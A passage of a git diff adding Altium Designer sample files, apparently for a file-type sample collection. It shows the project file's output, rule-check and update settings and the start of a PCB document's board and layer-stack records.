+PageOptions13=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType14=Text Print
+OutputName14=Text Print
+OutputDocumentPath14=
+OutputVariantName14=
+OutputDefault14=0
+PageOptions14=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType15=Text Print
+OutputName15=Text Print
+OutputDocumentPath15=
+OutputVariantName15=
+OutputDefault15=0
+PageOptions15=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType16=Text Print
+OutputName16=Text Print
+OutputDocumentPath16=
+OutputVariantName16=
+OutputDefault16=0
+PageOptions16=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType17=Text Print
+OutputName17=Text Print
+OutputDocumentPath17=
+OutputVariantName17=
+OutputDefault17=0
+PageOptions17=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType18=Text Print
+OutputName18=Text Print
+OutputDocumentPath18=
+OutputVariantName18=
+OutputDefault18=0
+PageOptions18=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType19=Text Print
+OutputName19=Text Print
+OutputDocumentPath19=
+OutputVariantName19=
+OutputDefault19=0
+PageOptions19=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType20=Text Print
+OutputName20=Text Print
+OutputDocumentPath20=
+OutputVariantName20=
+OutputDefault20=0
+PageOptions20=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType21=Text Print
+OutputName21=Text Print
+OutputDocumentPath21=
+OutputVariantName21=
+OutputDefault21=0
+PageOptions21=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType22=Text Print
+OutputName22=Text Print
+OutputDocumentPath22=
+OutputVariantName22=
+OutputDefault22=0
+PageOptions22=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType23=Text Print
+OutputName23=Text Print
+OutputDocumentPath23=
+OutputVariantName23=
+OutputDefault23=0
+PageOptions23=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType24=Text Print
+OutputName24=Text Print
+OutputDocumentPath24=
+OutputVariantName24=
+OutputDefault24=0
+PageOptions24=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType25=Text Print
+OutputName25=Text Print
+OutputDocumentPath25=
+OutputVariantName25=
+OutputDefault25=0
+PageOptions25=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType26=Text Print
+OutputName26=Text Print
+OutputDocumentPath26=
+OutputVariantName26=
+OutputDefault26=0
+PageOptions26=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType27=Text Print
+OutputName27=Text Print
+OutputDocumentPath27=
+OutputVariantName27=
+OutputDefault27=0
+PageOptions27=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType28=Text Print
+OutputName28=Text Print
+OutputDocumentPath28=
+OutputVariantName28=
+OutputDefault28=0
+PageOptions28=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType29=Text Print
+OutputName29=Text Print
+OutputDocumentPath29=
+OutputVariantName29=
+OutputDefault29=0
+PageOptions29=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+
+[OutputGroup8]
+Name=Validation Outputs
+Description=
+TargetPrinter=Adobe PDF
+PrinterOptions=Record=PrinterOptions|Copies=1|Duplex=1|TrueTypeOptions=3|Collate=1|PrintJobKind=1|PrintWhat=1
+OutputType1=BOM_Violations
+OutputName1=BOM Checks Report
+OutputDocumentPath1=
+OutputVariantName1=
+OutputDefault1=0
+OutputType2=Component states check
+OutputName2=Server's components states check
+OutputDocumentPath2=
+OutputVariantName2=
+OutputDefault2=0
+OutputType3=Configuration compliance
+OutputName3=Environment configuration compliance check
+OutputDocumentPath3=
+OutputVariantName3=
+OutputDefault3=0
+OutputType4=Design Rules Check
+OutputName4=Design Rules Check
+OutputDocumentPath4=
+OutputVariantName4=
+OutputDefault4=0
+PageOptions4=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType5=Differences Report
+OutputName5=Differences Report
+OutputDocumentPath5=
+OutputVariantName5=
+OutputDefault5=0
+PageOptions5=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType6=Electrical Rules Check
+OutputName6=Electrical Rules Check
+OutputDocumentPath6=
+OutputVariantName6=
+OutputDefault6=0
+PageOptions6=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType7=Footprint Comparison Report
+OutputName7=Footprint Comparison Report
+OutputDocumentPath7=
+OutputVariantName7=
+OutputDefault7=0
+
+[OutputGroup9]
+Name=Export Outputs
+Description=
+TargetPrinter=Adobe PDF
+PrinterOptions=Record=PrinterOptions|Copies=1|Duplex=1|TrueTypeOptions=3|Collate=1|PrintJobKind=1|PrintWhat=1
+OutputType1=AutoCAD dwg/dxf PCB
+OutputName1=AutoCAD dwg/dxf File PCB
+OutputDocumentPath1=
+OutputVariantName1=
+OutputDefault1=0
+OutputType2=AutoCAD dwg/dxf Schematic
+OutputName2=AutoCAD dwg/dxf File Schematic
+OutputDocumentPath2=
+OutputVariantName2=
+OutputDefault2=0
+OutputType3=ExportIDF
+OutputName3=Export IDF
+OutputDocumentPath3=
+OutputVariantName3=
+OutputDefault3=0
+OutputType4=ExportPARASOLID
+OutputName4=Export PARASOLID
+OutputDocumentPath4=
+OutputVariantName4=[No Variations]
+OutputDefault4=0
+OutputType5=ExportSTEP
+OutputName5=Export STEP
+OutputDocumentPath5=
+OutputVariantName5=[No Variations]
+OutputDefault5=0
+OutputType6=ExportVRML
+OutputName6=Export VRML
+OutputDocumentPath6=
+OutputVariantName6=[No Variations]
+OutputDefault6=0
+OutputType7=MBAExportPARASOLID
+OutputName7=Export PARASOLID
+OutputDocumentPath7=
+OutputVariantName7=
+OutputDefault7=0
+OutputType8=MBAExportSTEP
+OutputName8=Export STEP
+OutputDocumentPath8=
+OutputVariantName8=
+OutputDefault8=0
+OutputType9=Save As/Export PCB
+OutputName9=Save As/Export PCB
+OutputDocumentPath9=
+OutputVariantName9=
+OutputDefault9=0
+OutputType10=Save As/Export Schematic
+OutputName10=Save As/Export Schematic
+OutputDocumentPath10=
+OutputVariantName10=
+OutputDefault10=0
+OutputType11=Specctra Design PCB
+OutputName11=Specctra Design PCB
+OutputDocumentPath11=
+OutputVariantName11=
+OutputDefault11=0
+
+[OutputGroup10]
+Name=PostProcess Outputs
+Description=
+TargetPrinter=Adobe PDF
+PrinterOptions=Record=PrinterOptions|Copies=1|Duplex=1|TrueTypeOptions=3|Collate=1|PrintJobKind=1|PrintWhat=1
+OutputType1=Copy Files
+OutputName1=Copy Files
+OutputDocumentPath1=
+OutputVariantName1=
+OutputDefault1=0
+
+[Modification Levels]
+Type1=1
+Type2=1
+Type3=1
+Type4=1
+Type5=1
+Type6=1
+Type7=1
+Type8=1
+Type9=1
+Type10=1
+Type11=1
+Type12=1
+Type13=1
+Type14=1
+Type15=1
+Type16=1
+Type17=1
+Type18=1
+Type19=1
+Type20=1
+Type21=1
+Type22=1
+Type23=1
+Type24=1
+Type25=1
+Type26=1
+Type27=1
+Type28=1
+Type29=1
+Type30=1
+Type31=1
+Type32=1
+Type33=1
+Type34=1
+Type35=1
+Type36=1
+Type37=1
+Type38=1
+Type39=1
+Type40=1
+Type41=1
+Type42=1
+Type43=1
+Type44=1
+Type45=1
+Type46=1
+Type47=1
+Type48=1
+Type49=1
+Type50=1
+Type51=1
+Type52=1
+Type53=1
+Type54=1
+Type55=1
+Type56=1
+Type57=1
+Type58=1
+Type59=1
+Type60=1
+Type61=1
+Type62=1
+Type63=1
+Type64=1
+Type65=1
+Type66=1
+Type67=1
+Type68=1
+Type69=1
+Type70=1
+Type71=1
+Type72=1
+Type73=1
+Type74=1
+Type75=1
+Type76=1
+Type77=1
+Type78=1
+Type79=1
+Type80=1
+Type81=1
+Type82=1
+Type83=1
+Type84=1
+Type85=1
+Type86=1
+Type87=1
+Type88=1
+Type89=1
+Type90=1
+Type91=1
+Type92=1
+Type93=1
+Type94=1
+Type95=1
+Type96=1
+Type97=1
+Type98=1
+Type99=1
+Type100=1
+Type101=1
+Type102=1
+Type103=1
+Type104=1
+Type105=1
+Type106=1
+Type107=1
+Type108=1
+Type109=1
+Type110=1
+Type111=1
+Type112=1
+Type113=1
+Type114=1
+Type115=1
+Type116=1
+Type117=1
+
+[Difference Levels]
+Type1=1
+Type2=1
+Type3=1
+Type4=1
+Type5=1
+Type6=1
+Type7=1
+Type8=1
+Type9=1
+Type10=1
+Type11=1
+Type12=1
+Type13=1
+Type14=1
+Type15=1
+Type16=1
+Type17=1
+Type18=1
+Type19=1
+Type20=1
+Type21=1
+Type22=1
+Type23=1
+Type24=1
+Type25=1
+Type26=1
+Type27=1
+Type28=1
+Type29=1
+Type30=1
+Type31=1
+Type32=1
+Type33=1
+Type34=1
+Type35=1
+Type36=1
+Type37=1
+Type38=1
+Type39=1
+Type40=1
+Type41=1
+Type42=1
+Type43=1
+Type44=1
+Type45=1
+Type46=1
+Type47=1
+Type48=1
+Type49=1
+Type50=1
+Type51=1
+Type52=1
+Type53=1
+Type54=1
+Type55=1
+Type56=1
+Type57=1
+Type58=1
+Type59=1
+Type60=1
+Type61=1
+Type62=1
+Type63=1
+Type64=1
+Type65=1
+Type66=1
+
+[Electrical Rules Check]
+Type1=1
+Type2=1
+Type3=2
+Type4=1
+Type5=2
+Type6=2
+Type7=1
+Type8=1
+Type9=1
+Type10=1
+Type11=2
+Type12=2
+Type13=2
+Type14=1
+Type15=1
+Type16=1
+Type17=1
+Type18=1
+Type19=1
+Type20=1
+Type21=1
+Type22=1
+Type23=1
+Type24=1
+Type25=2
+Type26=2
+Type27=2
+Type28=1
+Type29=1
+Type30=1
+Type31=1
+Type32=2
+Type33=2
+Type34=2
+Type35=1
+Type36=2
+Type37=1
+Type38=2
+Type39=2
+Type40=2
+Type41=0
+Type42=2
+Type43=1
+Type44=1
+Type45=2
+Type46=1
+Type47=2
+Type48=2
+Type49=1
+Type50=2
+Type51=1
+Type52=1
+Type53=1
+Type54=1
+Type55=1
+Type56=2
+Type57=1
+Type58=1
+Type59=2
+Type60=1
+Type61=2
+Type62=2
+Type63=1
+Type64=0
+Type65=2
+Type66=3
+Type67=2
+Type68=2
+Type69=2
+Type70=2
+Type71=2
+Type72=2
+Type73=2
+Type74=1
+Type75=2
+Type76=1
+Type77=1
+Type78=1
+Type79=1
+Type80=2
+Type81=3
+Type82=3
+Type83=3
+Type84=3
+Type85=3
+Type86=2
+Type87=2
+Type88=2
+Type89=1
+Type90=1
+Type91=3
+Type92=3
+Type93=2
+Type94=2
+Type95=2
+Type96=2
+Type97=2
+Type98=0
+Type99=1
+Type100=2
+Type101=1
+Type102=2
+Type103=2
+Type104=1
+Type105=2
+Type106=2
+Type107=2
+Type108=2
+Type109=1
+Type110=1
+Type111=1
+Type112=1
+Type113=1
+Type114=2
+Type115=2
+Type116=2
+Type117=3
+Type118=3
+Type119=3
+MultiChannelAlternate=2
+AlternateItemFail=3
+Type122=2
+
+[ERC Connection Matrix]
+L1=NNNNNNNNNNNWNNNWW
+L2=NNWNNNNWWWNWNWNWN
+L3=NWEENEEEENEWNEEWN
+L4=NNENNNWEENNWNENWN
+L5=NNNNNNNNNNNNNNNNN
+L6=NNENNNNEENNWNENWN
+L7=NNEWNNWEENNWNENWN
+L8=NWEENEENEEENNEENN
+L9=NWEENEEEENEWNEEWW
+L10=NWNNNNNENNEWNNEWN
+L11=NNENNNNEEENWNENWN
+L12=WWWWNWWNWWWNWWWNN
+L13=NNNNNNNNNNNWNNNWW
+L14=NWEENEEEENEWNEEWW
+L15=NNENNNNEEENWNENWW
+L16=WWWWNWWNWWWNWWWNW
+L17=WNNNNNNNWNNNWWWWN
+
+[Annotate]
+SortOrder=3
+SortLocation=0
+MatchParameter1=Comment
+MatchStrictly1=1
+MatchParameter2=Library Reference
+MatchStrictly2=1
+PhysicalNamingFormat=$Component_$RoomName
+GlobalIndexSortOrder=3
+GlobalIndexSortLocation=0
+
+[PrjClassGen]
+CompClassManualEnabled=0
+CompClassManualRoomEnabled=0
+NetClassAutoBusEnabled=1
+NetClassAutoCompEnabled=0
+NetClassAutoNamedHarnessEnabled=0
+NetClassManualEnabled=1
+NetClassSeparateForBusSections=0
+
+[LibraryUpdateOptions]
+SelectedOnly=0
+UpdateVariants=1
+PartTypes=0
+FullReplace=1
+UpdateDesignatorLock=1
+UpdatePartIDLock=1
+PreserveParameterLocations=1
+PreserveParameterVisibility=1
+DoGraphics=1
+DoParameters=1
+DoModels=1
+AddParameters=0
+RemoveParameters=0
+AddModels=1
+RemoveModels=1
+UpdateCurrentModels=1
+
+[DatabaseUpdateOptions]
+SelectedOnly=0
+UpdateVariants=1
+PartTypes=0
+
+[Comparison Options]
+ComparisonOptions0=Kind=Net|MinPercent=75|MinMatch=3|ShowMatch=-1|Confirm=-1|UseName=-1|InclAllRules=0
+ComparisonOptions1=Kind=Net Class|MinPercent=75|MinMatch=3|ShowMatch=-1|Confirm=-1|UseName=-1|InclAllRules=0
+ComparisonOptions2=Kind=Component Class|MinPercent=75|MinMatch=3|ShowMatch=-1|Confirm=-1|UseName=-1|InclAllRules=0
+ComparisonOptions3=Kind=Rule|MinPercent=75|MinMatch=3|ShowMatch=-1|Confirm=-1|UseName=-1|InclAllRules=0
+ComparisonOptions4=Kind=Differential Pair|MinPercent=50|MinMatch=1|ShowMatch=0|Confirm=0|UseName=0|InclAllRules=0
+ComparisonOptions5=Kind=Structure Class|MinPercent=75|MinMatch=3|ShowMatch=-1|Confirm=-1|UseName=-1|InclAllRules=0
+
+[SmartPDF]
+PageOptions=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+
diff --git a/samples/Altium Designer/Sample Board Design.PcbDoc b/samples/Altium Designer/Sample Board Design.PcbDoc
new file mode 100644
index 0000000000..fc6f29558d
--- /dev/null
+++ b/samples/Altium Designer/Sample Board Design.PcbDoc	
@@ -0,0 +1,120 @@
+|RECORD=Board|SELECTION=FALSE|LAYER=UNKNOWN|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|FILENAME=D:\Desktop\Linguist Sample\Sample Board Design.$$$|KIND=Protel_Advanced_PCB|VERSION=5.01|DATE=5/27/2019|TIME=10:46:59 PM|ORIGINX=0mil|ORIGINY=0mil|BIGVISIBLEGRIDSIZE=0.000|VISIBLEGRIDSIZE=0.000|ELECTRICALGRIDRANGE=8mil|ELECTRICALGRIDENABLED=TRUE|SNAPGRIDSIZE=98425.196850|SNAPGRIDSIZEX=98425.196850|SNAPGRIDSIZEY=98425.196850|TRACKGRIDSIZE=200000.000000|VIAGRIDSIZE=200000.000000|COMPONENTGRIDSIZE=98425.196850|COMPONENTGRIDSIZEX=98425.196850|COMPONENTGRIDSIZEY=98425.196850|DOTGRID=TRUE|DISPLAYUNIT=0|DESIGNATORDISPLAYMODE=0|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|PRIMITIVELOCK=TRUE|POLYGONTYPE=Polygon|POUROVER=FALSE|REMOVEDEAD=FALSE|GRIDSIZE=10mil|TRACKWIDTH=10mil|HATCHSTYLE=None|USEOCTAGONS=FALSE|MINPRIMLENGTH=3mil|KIND0=0|VX0=0mil|VY0=0mil|CX0=0mil|CY0=0mil|SA0= 0.00000000000000E+0000|EA0= 0.00000000000000E+0000|R0=0mil|KIND1=0|VX1=330.7087mil|VY1=0mil|CX1=0mil|CY1=0mil|SA1= 0.00000000000000E+0000|EA1= 0.00000000000000E+0000|R1=0mil|KIND2=0|VX2=330.7087mil|VY2=389.7638mil|CX2=0mil|CY2=0mil|SA2= 0.00000000000000E+0000|EA2= 0.00000000000000E+0000|R2=0mil|KIND3=0|VX3=0mil|VY3=389.7638mil|CX3=0mil|CY3=0mil|SA3= 0.00000000000000E+0000|EA3= 0.00000000000000E+0000|R3=0mil|KIND4=0|VX4=0mil|VY4=0mil|CX4=0mil|CY4=0mil|SA4= 0.00000000000000E+0000|EA4= 0.00000000000000E+0000|R4=0mil|SHELVED=FALSE|RESTORELAYER=UNKNOWN|RESTORENET=|REMOVEISLANDSBYAREA=TRUE|REMOVENECKS=TRUE|AREATHRESHOLD=250000000000.000000|ARCRESOLUTION=0.5mil|NECKWIDTHTHRESHOLD=5mil|POUROVERSTYLE=2|NAME=|POURINDEX=-1|IGNOREVIOLATIONS=FALSE|SPLITLINECOUNT=0|SHEETX=1000mil|SHEETY=1000mil|SHEETWIDTH=10000mil|SHEETHEIGHT=8000mil|SHOWSHEET=FALSE|LOCKSHEET=TRUE|PLANE1NETNAME=(No Net)|PLANE2NETNAME=(No Net)|PLANE3NETNAME=(No Net)|PLANE4NETNAME=(No Net)|PLANE5NETNAME=(No Net)|PLANE6NETNAME=(No Net)|PLANE7NETNAME=(No Net)|PLANE8NETNAME=(No Net)|PLANE9NETNAME=(No Net)|PLANE10NETNAME=(No Net)|PLANE11NETNAME=(No Net)|PLANE12NETNAME=(No Net)|PLANE13NETNAME=(No Net)|PLANE14NETNAME=(No Net)|PLANE15NETNAME=(No Net)|PLANE16NETNAME=(No Net)
|RECORD=Board|V9_MASTERSTACK_STYLE=0|V9_MASTERSTACK_ID={6C6A7AEE-860E-42B8-A7B0-5A4F746E66B0}|V9_MASTERSTACK_NAME=Master layer stack|V9_MASTERSTACK_SHOWTOPDIELECTRIC=FALSE|V9_MASTERSTACK_SHOWBOTTOMDIELECTRIC=FALSE|V9_MASTERSTACK_ISFLEX=FALSE|V9_SUBSTACK0_ID={133D6234-F010-46C7-B390-43FBDD454A88}|V9_SUBSTACK0_NAME=Board Layer Stack|V9_SUBSTACK0_SHOWTOPDIELECTRIC=FALSE|V9_SUBSTACK0_SHOWBOTTOMDIELECTRIC=FALSE|V9_SUBSTACK0_ISFLEX=FALSE|V9_SUBSTACK0_SERVICE=FALSE|V9_SUBSTACK0_USEDBYPRIMS=FALSE|V9_SUBSTACK0_TYPE=1|V9_STACK_LAYER0_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_STACK_LAYER0_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_STACK_LAYER0_ID={30045540-1B4B-4001-AB64-318F70B47D5C}|V9_STACK_LAYER0_NAME=Top Paste|V9_STACK_LAYER0_LAYERID=16973832|V9_STACK_LAYER0_USEDBYPRIMS=FALSE|V9_STACK_LAYER1_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_STACK_LAYER1_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_STACK_LAYER1_ID={F22BABF4-3864-4478-9E30-F3A5F449D148}|V9_STACK_LAYER1_NAME=Top Overlay|V9_STACK_LAYER1_LAYERID=16973830|V9_STACK_LAYER1_USEDBYPRIMS=TRUE|V9_STACK_LAYER2_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_STACK_LAYER2_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_STACK_LAYER2_ID={5A303FD1-9A68-46E1-8805-901769ECECC7}|V9_STACK_LAYER2_NAME=Top Solder|V9_STACK_LAYER2_LAYERID=16973834|V9_STACK_LAYER2_USEDBYPRIMS=FALSE|V9_STACK_LAYER2_DIELTYPE=3|V9_STACK_LAYER2_DIELCONST=3.500|V9_STACK_LAYER2_DIELHEIGHT=0.4mil|V9_STACK_LAYER2_DIELMATERIAL=Solder Resist|V9_STACK_LAYER2_COVERLAY_EXPANSION=0mil|V9_STACK_LAYER3_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_STACK_LAYER3_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_STACK_LAYER3_ID={999DF18F-9048-469A-90BE-9E37DD83557B}|V9_STACK_LAYER3_NAME=Top Layer|V9_STACK_LAYER3_LAYERID=16777217|V9_STACK_LAYER3_USEDBYPRIMS=TRUE|V9_STACK_LAYER3_COPTHICK=1.4mil|V9_STACK_LAYER3_COMPONENTPLACEMENT=1|V9_STACK_LAYER4_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_STACK_LAYER4_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_STACK_LAYER4_ID={02BF3CDA-3C8F-4FAD-9742-9D994AE02F07}|V9_STACK_LAYER4_NAME=Dielectric 1|V9_STACK_LAYER4_LAYERID=17039361|V9_STACK_LAYER4_USEDBYPRIMS=FALSE|V9_STACK_LAYER4_DIELTYPE=0|V9_STACK_LAYER4_DIELCONST=4.800|V9_STACK_LAYER4_DIELHEIGHT=12.6mil|V9_STACK_LAYER4_DIELMATERIAL=FR-4|V9_STACK_LAYER5_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_STACK_LAYER5_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_STACK_LAYER5_ID={9A0521B6-9E50-4E7C-A183-D2BA2C61636A}|V9_STACK_LAYER5_NAME=Bottom Layer|V9_STACK_LAYER5_LAYERID=16842751|V9_STACK_LAYER5_USEDBYPRIMS=TRUE|V9_STACK_LAYER5_COPTHICK=1.4mil|V9_STACK_LAYER5_COMPONENTPLACEMENT=2|V9_STACK_LAYER6_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_STACK_LAYER6_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_STACK_LAYER6_ID={6089F658-C6F8-45EF-ADE9-00844D259BA3}|V9_STACK_LAYER6_NAME=Bottom Solder|V9_STACK_LAYER6_LAYERID=16973835|V9_STACK_LAYER6_USEDBYPRIMS=FALSE|V9_STACK_LAYER6_DIELTYPE=3|V9_STACK_LAYER6_DIELCONST=3.500|V9_STACK_LAYER6_DIELHEIGHT=0.4mil|V9_STACK_LAYER6_DIELMATERIAL=Solder Resist|V9_STACK_LAYER6_COVERLAY_EXPANSION=0mil|V9_STACK_LAYER7_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_STACK_LAYER7_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_STACK_LAYER7_ID={F336B23E-1435-4733-9ED3-34BDF2531FBF}|V9_STACK_LAYER7_NAME=Bottom Overlay|V9_STACK_LAYER7_LAYERID=16973831|V9_STACK_LAYER7_USEDBYPRIMS=FALSE|V9_STACK_LAYER8_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_STACK_LAYER8_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_STACK_LAYER8_ID={70A911C0-2DEF-47D0-84F8-E68892450F49}|V9_STACK_LAYER8_NAME=Bottom 